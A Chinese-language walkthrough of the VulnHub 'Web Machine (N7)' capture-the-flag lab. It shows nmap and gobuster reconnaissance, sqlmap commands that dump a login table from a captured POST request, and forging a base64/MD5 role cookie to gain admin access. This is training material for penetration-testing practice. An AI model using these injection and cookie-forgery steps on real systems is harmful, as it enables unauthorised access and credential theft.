靶机练习No.3 VulnHub靶场 Web Machine(N7)

797 阅读3分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:

https://www.vulnhub.com/entry/web-machine-n7,756/

难度:中等

发布时间:2021年11月3日

提示信息:无


信息收集

nmap:

sudo nmap -sP 192.168.7.1/24

图片

扫描端口

sudo nmap -sC -sV -p- 192.168.7.236 -oN Web_Machine.nmap

图片

Web渗透

只开放了80端口,

访问80没找到有用的信息

图片

那就先从目录下手

目录扫描

gobuster dir -u http://192.168.7.236 -w ../../Dict/diy/dirb/dirball.txt +x .php,.html,.txt

图片

爆出几个目录和页面,先看下exploit.html,访问后是一个文件上传页面,随便找个文件上传竟然跳转到本地

图片

前台源码中修改一下路径将localhost修改为靶机地址,提交成功,并且回显部分flag字符串

图片

图片

没有发现其它能利用的地方,访问enter_network目录看到一个登录页面,随手试了几个弱口令无效,爆破也无结果

图片

SQL注入

试试sql注入,随手试了下无报错无回显,还是拿sqlmap吧

先抓包点一下raw然后复制下面的内容到文本中,因为是post提交的还需要request里面的数据

图片

图片

新建个sql.txt文件保存这些内容,注意post数据(user=123&pass=456&sub=SEND)上面要加一个空行

POST /enter_network/ HTTP/1.1
Host: 192.168.7.236
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.7.236/enter_network/
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://192.168.7.236
Connection: keep-alive
Cookie: user=JGFyZ29uMmkkdj0xOSRtPTY1NTM2LHQ9NCxwPTEkZW1OUFQwRmtaVEl6TlZCVWMzbGlXZyRLNzFpcFQxeHRFRXVnMnRMcmd6TDJlZGROaWNnejBydUFYTzVSRHQwRjc4; role=MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%253D
Upgrade-Insecure-Requests: 1

user=123&pass=456&sub=SEND

开始注入攻击,先暴库名

sqlmap -r sql.txt --batch  --dbs

使用sqlmap时见到提示确认直接回车使用默认即可

图片

拿到库名Machine,再暴表名

sqlmap -r sql.txt -D Machine --batch --tables

图片

拿到表名login直接拿数据(暴表名有个奇怪情况,前两次都拿不到结果,第3次才成功)

sqlmap -r sql.txt -D Machine -T login --batch --dump-all

图片

轻松拿到帐号密码,这个密码是个flag

+-------+-----------------+---------------+
| role | password | username |
+-------+-----------------+---------------+
| admin | FLAG{N7:KSA_01} | administrator |
+-------+-----------------+---------------+

登录看看有什么信息,登录后又跳回这个登陆页面,也不知道是不是拿到密码就算结束了

再扫下enter_network目录下有什么文件

gobuster dir -u http://192.168.7.236/enter_network -w ../../Dict/diy/dirb/dirball.txt +x .php,.txt,.html

图片

扫到两个文件index.php就是登陆页面,看一下admin.php有什么

图片

只是个简单的页面,翻翻找找我发现cookie中role的值像是base64拿去解一下

MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%253D

(有经验的看到%253D就知道是等于号在url中2次编码就是%253D)

图片

base64解出来的字符串是"21232f297a57a5a743894a0e4a801fc3"一共32个字符,估计是md5加密去网站解一下

图片

解出来是admin,在burp中将role的值修改为admin提交,出现了flag的后半部分

图片

这个后半部分与上传文件时拿到的flag头部结合一起就是登陆密码,既然sql注入就可以拿到登陆flag为何还要搞上传和改cookie值,难道这题不需要sql注入就能解出来

另一种方法

随后重新测试了一下,当我访问enter_network/index.php页面时是没有cookie

图片

等到任意输入帐号密码点登陆后,服务器给我返回了cookie

图片

后面用url、base64、md5解码再替换role的值去访问admin.php页面就会拿到flag的后半部分,确实不需要用到sql注入。

        另外要说明的是目录扫描中enter_network目录我一直没找到,看了大佬的文章才知道有这个目录但是也没说是怎么得到的,后来我翻遍全网也没人说这个目录是怎么来的,难道太简单不需要说明???